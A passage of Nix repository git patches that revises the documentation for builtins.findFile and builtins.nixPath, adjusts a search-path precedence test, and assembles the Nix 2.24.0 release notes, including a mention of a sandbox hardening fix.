empty list `[ ]`. + > If [restricted evaluation](@docroot@/command-ref/conf-file.md#conf-restrict-eval) is enabled, the default value is empty. + > + > If [pure evaluation](#conf-pure-eval) is enabled, `builtins.nixPath` *always* evaluates to the empty list `[ ]`. )", {}, false}; Setting currentSystem{ diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 0b3b19b57..7ceb84f0e 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1843,34 +1843,6 @@ static RegisterPrimOp primop_findFile(PrimOp { .doc = R"( Find *lookup-path* in *search-path*. - A search path is represented list of [attribute sets](./types.md#attribute-set) with two attributes: - - `prefix` is a relative path. - - `path` denotes a file system location - The exact syntax depends on the command line interface. - - Examples of search path attribute sets: - - - ``` - { - prefix = "nixos-config"; - path = "/etc/nixos/configuration.nix"; - } - ``` - - - ``` - { - prefix = ""; - path = "/nix/var/nix/profiles/per-user/root/channels"; - } - ``` - - The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/types.md#type-path) of the match: - - - If *lookup-path* matches `prefix`, then the remainder of *lookup-path* (the "suffix") is searched for within the directory denoted by `path`. - Note that the `path` may need to be downloaded at this point to look inside. - - If the suffix is found inside that directory, then the entry is a match. - The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. - [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](#builtins-nixPath): ```nix @@ -1882,6 +1854,119 @@ static RegisterPrimOp primop_findFile(PrimOp { ```nix builtins.findFile builtins.nixPath "nixpkgs" ``` + + A search path is represented as a list of [attribute sets](./types.md#attribute-set) with two attributes: + - `prefix` is a relative path. + - `path` denotes a file system location + + Examples of search path attribute sets: + + - ``` + { + prefix = ""; + path = "/nix/var/nix/profiles/per-user/root/channels"; + } + ``` + - ``` + { + prefix = "nixos-config"; + path = "/etc/nixos/configuration.nix"; + } + ``` + - ``` + { + prefix = "nixpkgs"; + path = "https://github.com/NixOS/nixpkgs/tarballs/master"; + } + ``` + - ``` + { + prefix = "nixpkgs"; + path = "channel:nixpkgs-unstable"; + } + ``` + - ``` + { + prefix = "flake-compat"; + path = "flake:github:edolstra/flake-compat"; + } + ``` + + The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/types.md#type-path) of the match: + + - If a prefix of `lookup-path` matches `prefix`, then the remainder of *lookup-path* (the "suffix") is searched for within the directory denoted by `path`. + The contents of `path` may need to be downloaded at this point to look inside. + + - If the suffix is found inside that directory, then the entry is a match. + The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. + + > **Example** + > + > A *search-path* value + > + > ``` + > [ + > { + > prefix = ""; + > path = "/home/eelco/Dev"; + > } + > { + > prefix = "nixos-config"; + > path = "/etc/nixos"; + > } + > ] + > ``` + > + > and a *lookup-path* value `"nixos-config"` will cause Nix to try `/home/eelco/Dev/nixos-config` and `/etc/nixos` in that order and return the first path that exists. + + If `path` starts with `http://` or `https://`, it is interpreted as the URL of a tarball that will be downloaded and unpacked to a temporary location. + The tarball must consist of a single top-level directory. + + The URLs of the tarballs from the official `nixos.org` channels can be abbreviated as `channel:`. + See [documentation on `nix-channel`](@docroot@/command-ref/nix-channel.md) for details about channels. + + > **Example** + > + > These two search path entries are equivalent: + > + > - ``` + > { + > prefix = "nixpkgs"; + > path = "channel:nixpkgs-unstable"; + > } + > ``` + > - ``` + > { + > prefix = "nixpkgs"; + > path = "https://nixos.org/channels/nixos-unstable/nixexprs.tar.xz"; + > } + > ``` + + Search paths can also point to source trees using [flake URLs](@docroot@/command-ref/new-cli/nix3-flake.md#url-like-syntax). + + + > **Example** + > + > The search path entry + > + > ``` + > { + > prefix = "nixpkgs"; + > path = "flake:nixpkgs"; + > } + > ``` + > specifies that the prefix `nixpkgs` shall refer to the source tree downloaded from the `nixpkgs` entry in the flake registry. + > + > Similarly + > + > ``` + > { + > prefix = "nixpkgs"; + > path = "flake:github:nixos/nixpkgs/nixos-22.05"; + > } + > ``` + > + > makes `` refer to a particular branch of the `NixOS/nixpkgs` repository on GitHub. )", .fun = prim_findFile, }); @@ -4731,6 +4816,13 @@ void EvalState::createBaseEnv() .doc = R"( The value of the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path): a list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). + > **Example** + > + > ```bash + > $ NIX_PATH= nix-instantiate --eval --expr "builtins.nixPath" -I foo=bar --no-pure-eval + > [ { path = "bar"; prefix = "foo"; } ] + > ``` + Lookup path expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.findFile`](./builtins.html#builtins-findFile): diff --git a/tests/functional/nix_path.sh b/tests/functional/nix_path.sh index 7e6a0458d..90cba1f0c 100755 --- a/tests/functional/nix_path.sh +++ b/tests/functional/nix_path.sh @@ -22,13 +22,13 @@ nix-instantiate --eval -E '' --restrict-eval # # | precedence | hard-coded | nix-path in file | extra-nix-path in file | nix-path in env | extra-nix-path in env | NIX_PATH | nix-path | extra-nix-path | -I | # |------------------------|------------|------------------|------------------------|-----------------|-----------------------|-----------|-----------|-----------------|-----------------| -# | hard-coded | x | ^override | ^append | ^override | ^append | ^override | ^override | ^append | ^append | -# | nix-path in file | | last wins | ^append | ^override | ^append | ^override | ^override | ^append | ^append | -# | extra-nix-path in file | | | append in order | ^override | ^append | ^override | ^override | ^append | ^append | -# | nix-path in env | | | | last wins | ^append | ^override | ^override | ^append | ^append | -# | extra-nix-path in env | | | | | append in order | ^override | ^override | ^append | ^append | -# | NIX_PATH | | | | | | x | ^override | ^append | ^append | -# | nix-path | | | | | | | last wins | ^append | ^append | +# | hard-coded | x | ^override | ^append | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | nix-path in file | | last wins | ^append | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | extra-nix-path in file | | | append in order | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | nix-path in env | | | | last wins | ^append | ^override | ^override | ^append | ^prepend | +# | extra-nix-path in env | | | | | append in order | ^override | ^override | ^append | ^prepend | +# | NIX_PATH | | | | | | x | ^override | ^append | ^prepend | +# | nix-path | | | | | | | last wins | ^append | ^prepend | # | extra-nix-path | | | | | | | | append in order | append in order | # | -I | | | | | | | | | append in order | @@ -59,6 +59,8 @@ echo "nix-path = test=$TEST_ROOT/from-nix-path-file" >> "$test_nix_conf" # -I extends NIX_PATH [[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +# -I takes precedence over NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test) = $TEST_ROOT/from-I ]] # if -I does not have the desired entry, the value from NIX_PATH is used [[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-NIX_PATH.nix) = $TEST_ROOT/from-NIX_PATH/only-from-NIX_PATH.nix ]] From c952d933e574dbc17304b18b33a9afeed7ebd966 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 31 Jul 2024 21:57:31 +0200 Subject: [PATCH 1241/1251] release notes: 2.24.0 --- .../10564-attrcursor-remove-forceerrors.md | 9 - ...03-run-the-flake-regressions-test-suite.md | 8 - ...unit-prefixes-in-configuration-settings.md | 10 - ...ild-show-all-fod-errors-with-keep-going.md | 10 - doc/manual/rl-next/10855-meson.md | 31 -- .../11086-eval-cache-fix-cache-regressions.md | 14 - .../rl-next/9063-introduce-libnixflake.md | 12 - doc/manual/rl-next/drop-vendored-toml11.md | 8 - doc/manual/rl-next/harden-user-sandboxing.md | 12 - .../rl-next/nix-shell-looks-for-shell-nix.md | 30 -- doc/manual/rl-next/pipe-operators.md | 28 -- .../rl-next/repl-doc-renders-doc-comments.md | 55 ---- doc/manual/rl-next/shebang-relative.md | 64 ---- doc/manual/rl-next/tarball-fixes.md | 9 - doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/release-notes/rl-2.24.md | 300 ++++++++++++++++++ 16 files changed, 301 insertions(+), 300 deletions(-) delete mode 100644 doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md delete mode 100644 doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md delete mode 100644 doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md delete mode 100644 doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md delete mode 100644 doc/manual/rl-next/10855-meson.md delete mode 100644 doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md delete mode 100644 doc/manual/rl-next/9063-introduce-libnixflake.md delete mode 100644 doc/manual/rl-next/drop-vendored-toml11.md delete mode 100644 doc/manual/rl-next/harden-user-sandboxing.md delete mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md delete mode 100644 doc/manual/rl-next/pipe-operators.md delete mode 100644 doc/manual/rl-next/repl-doc-renders-doc-comments.md delete mode 100644 doc/manual/rl-next/shebang-relative.md delete mode 100644 doc/manual/rl-next/tarball-fixes.md create mode 100644 doc/manual/src/release-notes/rl-2.24.md diff --git a/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md b/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md deleted file mode 100644 index 864a55b51..000000000 --- a/doc/manual/rl-next/10564-attrcursor-remove-forceerrors.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "Solve `cached failure of attribute X`" -prs: 10564 -issues: 10513 9165 ---- - -This eliminates all "cached failure of attribute X" messages by forcing evaluation of the original value when needed to show the exception to the user. This enhancement improves error reporting by providing the underlying message and stack trace. - -Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md b/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md deleted file mode 100644 index 42864323c..000000000 --- a/doc/manual/rl-next/10603-run-the-flake-regressions-test-suite.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -synopsis: "Run the flake regressions test suite" -prs: 10603 ---- - -This update introduces a GitHub action to run a subset of the [flake regressions test suite](https://github.com/NixOS/flake-regressions), which includes 259 flakes with their expected evaluation results. Currently, the action runs the first 25 flakes due to the full test suite's extensive runtime. A manually triggered action may be implemented later to run the entire test suite. - -Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md b/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md deleted file mode 100644 index 2caca9a81..000000000 --- a/doc/manual/rl-next/10668-support-unit-prefixes-in-configuration-settings.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -synopsis: "Support unit prefixes in configuration settings" -prs: 10668 ---- - -Configuration settings in Nix now support unit prefixes, allowing for more intuitive and readable configurations. For example, you can now specify [`--min-free 1G`](@docroot@/command-ref/opt-common.md#opt-min-free) to set the minimum free space to 1 gigabyte. - -This enhancement was extracted from [#7851](https://github.com/NixOS/nix/pull/7851) and is also useful for PR [#10661](https://github.com/NixOS/nix/pull/10661). - -Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md deleted file mode 100644 index 1d623e952..000000000 --- a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -synopsis: "nix3-build: show all FOD errors with `--keep-going`" -prs: 10734 ---- - -The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior for other build failures. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. - -Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92), [**Maximilian Bosch (@Ma27)**](https://github.com/Ma27) - -[`--keep-going`](@docroot@/command-ref/opt-common.md#opt-keep-going) diff --git a/doc/manual/rl-next/10855-meson.md b/doc/manual/rl-next/10855-meson.md deleted file mode 100644 index 0ab71390f..000000000 --- a/doc/manual/rl-next/10855-meson.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -synopsis: "Build with Meson" -prs: -- 10378 -- 10855 -- 10904 -- 10908 -- 10914 -- 10933 -- 10936 -- 10954 -- 10955 -- 10967 -- 10963 -- 10973 -- 11034 -- 11054 -- 11055 -- 11064 -- 11060 -- 11155 -issues: -- 2503 ---- - -These changes aim to replace the use of autotools and make with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. - -Special thanks to everyone who has contributed to the Meson port, particularly [**@p01arst0rm**](https://github.com/p01arst0rm) and [**@Qyriad**](https://github.com/Qyriad). - -Authors: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314), [**Tom Bereknyei**](https://github.com/tomberek), [**Théophane Hufschmitt (@thufschmitt)**](https://github.com/thufschmitt), [**Valentin Gagarin (@fricklerhandwerk)**](https://github.com/fricklerhandwerk), [**Robert Hensing (@roberth)**](https://github.com/roberth) -Co-authors: [**@p01arst0rm**](https://github.com/p01arst0rm), [**@Qyriad**](https://github.com/Qyriad) diff --git a/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md b/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md deleted file mode 100644 index 8a348a9ad..000000000 --- a/doc/manual/rl-next/11086-eval-cache-fix-cache-regressions.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -synopsis: "Eval cache: fix cache regressions" -prs: 11086 -issues: 10570 ---- - -This update addresses two bugs in the evaluation cache system: - -1. Regression in #10570: The evaluation cache was not being persisted in `nix develop` because `evalCaches` retained references to the caches and was never freed. -2. Nix could sometimes try to commit the evaluation cache SQLite transaction without there being an active transaction, resulting in non-error errors being printed. - -These bug fixes ensure that the evaluation cache is correctly managed and errors are appropriately handled. - -Author: [**Lexi Mattick (@kognise)**](https://github.com/kognise) diff --git a/doc/manual/rl-next/9063-introduce-libnixflake.md b/doc/manual/rl-next/9063-introduce-libnixflake.md deleted file mode 100644 index fd3645446..000000000 --- a/doc/manual/rl-next/9063-introduce-libnixflake.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -synopsis: "Introduce `libnixflake`" -prs: 9063 ---- - -A new library, `libnixflake`, has been introduced to better separate the Flakes layer within Nix. This change refactors the codebase to encapsulate Flakes-specific functionality within its own library. - -See the commits in the pull request for detailed changes, with the only significant code modifications happening in the initial commit. - -This change was alluded to in [RFC 134](https://github.com/nixos/rfcs/blob/master/rfcs/0134-nix-store-layer.md) and is a step towards a more modular and maintainable codebase. - -Author: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314) diff --git a/doc/manual/rl-next/drop-vendored-toml11.md b/doc/manual/rl-next/drop-vendored-toml11.md deleted file mode 100644 index 8dd786c44..000000000 --- a/doc/manual/rl-next/drop-vendored-toml11.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -synopsis: Stop vendoring toml11 ---- - -We don't apply any patches to it, and vendoring it locks users into -bugs (it hasn't been updated since its introduction in late 2021). - -Author: [**Winter (@winterqt)**](https://github.com/winterqt) diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md deleted file mode 100644 index ff81c9cb1..000000000 --- a/doc/manual/rl-next/harden-user-sandboxing.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -synopsis: Harden the user sandboxing -significance: significant -issues: ---- - -The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. - -This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531), that was handled through the GitHub Security Advisories interface, and hence was merged directly in commit [2dd7f8f42](https://github.com/NixOS/nix/commit/2dd7f8f42da374d9fee4d424c1c6f82bcb36b393) instead of a PR. - -Credit: [**@alois31**](https://github.com/alois31), [**Linus Heckemann (@lheckemann)**](https://github.com/lheckemann) -Co-authors: [**@edolstra**](https://github.com/edolstra) diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md deleted file mode 100644 index b9e4b3fb3..000000000 --- a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -synopsis: "`nix-shell ` looks for `shell.nix`" -significance: significant -issues: -- 496 -- 2279 -- 4529 -- 5431 -- 11053 -prs: -- 11057 ---- - -`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. - -Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. -This adjustment addresses a commonly reported problem. - -This also applies to `nix-shell` shebang scripts. Consider the following example: - -```shell -#!/usr/bin/env nix-shell -#!nix-shell -i bash -``` - -This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. - -The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. - -Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) diff --git a/doc/manual/rl-next/pipe-operators.md b/doc/manual/rl-next/pipe-operators.md deleted file mode 100644 index b4cbe30e3..000000000 --- a/doc/manual/rl-next/pipe-operators.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -synopsis: "Add `pipe-operators` experimental feature" -prs: -- 11131 ---- - -This is a draft implementation of [RFC 0148](https://github.com/NixOS/rfcs/pull/148). - -The `pipe-operators` experimental feature adds [`<|` and `|>` operators][pipe operators] to the Nix language. -*a* `|>` *b* is equivalent to the function application *b* *a*, and -*a* `<|` *b* is equivalent to the function application *a* *b*. - -For example: - -``` -nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 -9 - -nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 -7 -``` - -`<|` and `|>` are right and left associative, respectively, and have lower precedence than any other operator. -These properties may change in future releases. - -See [the RFC](https://github.com/NixOS/rfcs/pull/148) for more examples and rationale. - -[pipe operators]: @docroot@/language/operators.md#pipe-operators diff --git a/doc/manual/rl-next/repl-doc-renders-doc-comments.md b/doc/manual/rl-next/repl-doc-renders-doc-comments.md deleted file mode 100644 index fa241ebc1..000000000 --- a/doc/manual/rl-next/repl-doc-renders-doc-comments.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -synopsis: "`nix-repl`'s `:doc` shows documentation comments" -significance: significant -issues: -- 3904 -- 10771 -prs: -- 1652 -- 9054 -- 11072 ---- - -`nix repl` has a `:doc` command that previously only rendered documentation for internally defined functions. -This feature has been extended to also render function documentation comments, in accordance with [RFC 145]. - -Example: - -``` -nix-repl> :doc lib.toFunction -Function toFunction - … defined at /home/user/h/nixpkgs/lib/trivial.nix:1072:5 - - Turns any non-callable values into constant functions. Returns - callable values as is. - -Inputs - - v - - : Any value - -Examples - - :::{.example} - -## lib.trivial.toFunction usage example - - | nix-repl> lib.toFunction 1 2 - | 1 - | - | nix-repl> lib.toFunction (x: x + 1) 2 - | 3 - - ::: -``` - -Known limitations: -- It does not render documentation for "formals", such as `{ /** the value to return */ x, ... }: x`. -- Some extensions to markdown are not yet supported, as you can see in the example above. - -We'd like to acknowledge [Yingchi Long (@inclyc)](https://github.com/inclyc) for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as [@sternenseemann](https://github.com/sternenseemann) and [Johannes Kirschbauer (@hsjobeki)](https://github.com/hsjobeki) for their contributions, proposals, and their work on [RFC 145]. - -Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) - -[RFC 145]: https://github.com/NixOS/rfcs/pull/145 diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md deleted file mode 100644 index dd96bf203..000000000 --- a/doc/manual/rl-next/shebang-relative.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -synopsis: "`nix-shell` shebang uses relative path" -prs: -- 5088 -- 11058 -issues: -- 4232 ---- - - -Relative [path](@docroot@/language/types.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary.md?highlight=base%20directory#gloss-base-directory). -Previously they were resolved relative to the current working directory. - -For example, consider the following script in `~/myproject/say-hi`: - -```shell -#!/usr/bin/env nix-shell -#!nix-shell --expr 'import ./shell.nix' -#!nix-shell --arg toolset './greeting-tools.nix' -#!nix-shell -i bash -hello -``` - -Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory; home in this example: - -```console -[hostname:~]$ ./myproject/say-hi -error: - … while calling the 'import' builtin - at «string»:1:2: - 1| (import ./shell.nix) - | ^ - - error: path '/home/user/shell.nix' does not exist -``` - -Since this release, `nix-shell` resolves `shell.nix` relative to the script's location, and `~/myproject/shell.nix` is used. - -```console -$ ./myproject/say-hi -Hello, world! -``` - -**Opt-out** - -This is technically a breaking change, so we have added an option so you can adapt independently of your Nix update. -The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. -This option will be removed in a future release. - -**`nix` command shebang** - -The experimental [`nix` command shebang](@docroot@/command-ref/new-cli/nix.md?highlight=shebang#shebang-interpreter) already behaves in this script-relative manner. - -Example: - -```shell -#!/usr/bin/env nix -#!nix develop -#!nix --expr ``import ./shell.nix`` -#!nix -c bash -hello -``` - -Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) diff --git a/doc/manual/rl-next/tarball-fixes.md b/doc/manual/rl-next/tarball-fixes.md deleted file mode 100644 index c938e9db6..000000000 --- a/doc/manual/rl-next/tarball-fixes.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -synopsis: "Improve handling of tarballs that don't consist of a single top-level directory" -prs: -- 11195 ---- - -In previous Nix releases, the tarball fetcher (used by `builtins.fetchTarball`) erroneously merged top-level directories into a single directory, and silently discarded top-level files that are not directories. This is no longer the case. The new behaviour is that *only* if the tarball consists of a single directory, the top-level path component of the files in the tarball is removed (similar to `tar`'s `--strip-components=1`). - -Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 3918faeb2..8739599a0 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -127,6 +127,7 @@ - [Contributing](development/contributing.md) - [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} + - [Release 2.24 (2024-07-31)](release-notes/rl-2.24.md) - [Release 2.23 (2024-06-03)](release-notes/rl-2.23.md) - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md) - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) diff --git a/doc/manual/src/release-notes/rl-2.24.md b/doc/manual/src/release-notes/rl-2.24.md new file mode 100644 index 000000000..c68072573 --- /dev/null +++ b/doc/manual/src/release-notes/rl-2.24.md @@ -0,0 +1,300 @@ +# Release 2.24.0 (2024-07-31) + +### Significant changes + +- Harden the user sandboxing + + The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. + + This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531), that was handled through the GitHub Security Advisories interface, and hence was merged directly in commit [2dd7f8f42](https://github.com/NixOS/nix/commit/2dd7f8f42da374d9fee4d424c1c6f82bcb36b393) instead of a PR. + + Credit: [**@alois31**](https://github.com/alois31), [**Linus Heckemann (@lheckemann)**](https://github.com/lheckemann) + Co-authors: [**@edolstra**](https://github.com/edolstra) + +- `nix-shell ` looks for `shell.nix` [#496](https://github.com/NixOS/nix/issues/496) [#2279](https://github.com/NixOS/nix/issues/2279) [#4529](https://github.com/NixOS/nix/issues/4529) [#5431](https://github.com/NixOS/nix/issues/5431) [#11053](https://github.com/NixOS/nix/issues/11053) [#11057](https://github.com/NixOS/nix/pull/11057) + + `nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + + Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. + This adjustment addresses a commonly reported problem. + + This also applies to `nix-shell` shebang scripts. Consider the following example: + + ```shell + #!/usr/bin/env nix-shell + #!nix-shell -i bash + ``` + + This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + + The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + +- `nix-repl`'s `:doc` shows documentation comments [#3904](https://github.com/NixOS/nix/issues/3904) [#10771](https://github.com/NixOS/nix/issues/10771) [#1652](https://github.com/NixOS/nix/pull/1652) [#9054](https://github.com/NixOS/nix/pull/9054) [#11072](https://github.com/NixOS/nix/pull/11072) + + `nix repl` has a `:doc` command that previously only rendered documentation for internally defined functions. + This feature has been extended to also render function documentation comments, in accordance with [RFC 145]. + + Example: + + ``` + nix-repl> :doc lib.toFunction + Function toFunction + … defined at /home/user/h/nixpkgs/lib/trivial.nix:1072:5 + + Turns any non-callable values into constant functions. Returns + callable values as is. + + Inputs + + v + + : Any value + + Examples + + :::{.example} + + ## lib.trivial.toFunction usage example + + | nix-repl> lib.toFunction 1 2 + | 1 + | + | nix-repl> lib.toFunction (x: x + 1) 2 + | 3 + + ::: + ``` + + Known limitations: + - It does not render documentation for "formals", such as `{ /** the value to return */ x, ... }: x`. + - Some extensions to markdown are not yet supported, as you can see in the example above. + + We'd like to acknowledge [Yingchi Long (@inclyc)](https://github.com/inclyc) for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as [@sternenseemann](https://github.com/sternenseemann) and [Johannes Kirschbauer (@hsjobeki)](https://github.com/hsjobeki) for their contributions, proposals, and their work on [RFC 145]. + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + + [RFC 145]: https://github.com/NixOS/rfcs/pull/145 + +### Other changes + +- Solve `cached failure of attribute X` [#9165](https://github.com/NixOS/nix/issues/9165) [#10513](https://github.com/NixOS/nix/issues/10513) [#10564](https://github.com/NixOS/nix/pull/10564) + + This eliminates all "cached failure of attribute X" messages by forcing evaluation of the original value when needed to show the exception to the user. This enhancement improves error reporting by providing the underlying message and stack trace. + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Run the flake regressions test suite [#10603](https://github.com/NixOS/nix/pull/10603) + + This update introduces a GitHub action to run a subset of the [flake regressions test suite](https://github.com/NixOS/flake-regressions), which includes 259 flakes with their expected evaluation results. Currently, the action runs the first 25 flakes due to the full test suite's extensive runtime. A manually triggered action may be implemented later to run the entire test suite. + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Support unit prefixes in configuration settings [#10668](https://github.com/NixOS/nix/pull/10668) + + Configuration settings in Nix now support unit prefixes, allowing for more intuitive and readable configurations. For example, you can now specify [`--min-free 1G`](@docroot@/command-ref/opt-common.md#opt-min-free) to set the minimum free space to 1 gigabyte. + + This enhancement was extracted from [#7851](https://github.com/NixOS/nix/pull/7851) and is also useful for PR [#10661](https://github.com/NixOS/nix/pull/10661). + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- nix3-build: show all FOD errors with `--keep-going` [#10734](https://github.com/NixOS/nix/pull/10734) + + The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior for other build failures. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. + + Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92), [**Maximilian Bosch (@Ma27)**](https://github.com/Ma27) + + [`--keep-going`](@docroot@/command-ref/opt-common.md#opt-keep-going) + +- Build with Meson [#2503](https://github.com/NixOS/nix/issues/2503) [#10378](https://github.com/NixOS/nix/pull/10378) [#10855](https://github.com/NixOS/nix/pull/10855) [#10904](https://github.com/NixOS/nix/pull/10904) [#10908](https://github.com/NixOS/nix/pull/10908) [#10914](https://github.com/NixOS/nix/pull/10914) [#10933](https://github.com/NixOS/nix/pull/10933) [#10936](https://github.com/NixOS/nix/pull/10936) [#10954](https://github.com/NixOS/nix/pull/10954) [#10955](https://github.com/NixOS/nix/pull/10955) [#10963](https://github.com/NixOS/nix/pull/10963) [#10967](https://github.com/NixOS/nix/pull/10967) [#10973](https://github.com/NixOS/nix/pull/10973) [#11034](https://github.com/NixOS/nix/pull/11034) [#11054](https://github.com/NixOS/nix/pull/11054) [#11055](https://github.com/NixOS/nix/pull/11055) [#11060](https://github.com/NixOS/nix/pull/11060) [#11064](https://github.com/NixOS/nix/pull/11064) [#11155](https://github.com/NixOS/nix/pull/11155) + + These changes aim to replace the use of autotools and make with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. + + Special thanks to everyone who has contributed to the Meson port, particularly [**@p01arst0rm**](https://github.com/p01arst0rm) and [**@Qyriad**](https://github.com/Qyriad). + + Authors: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314), [**Tom 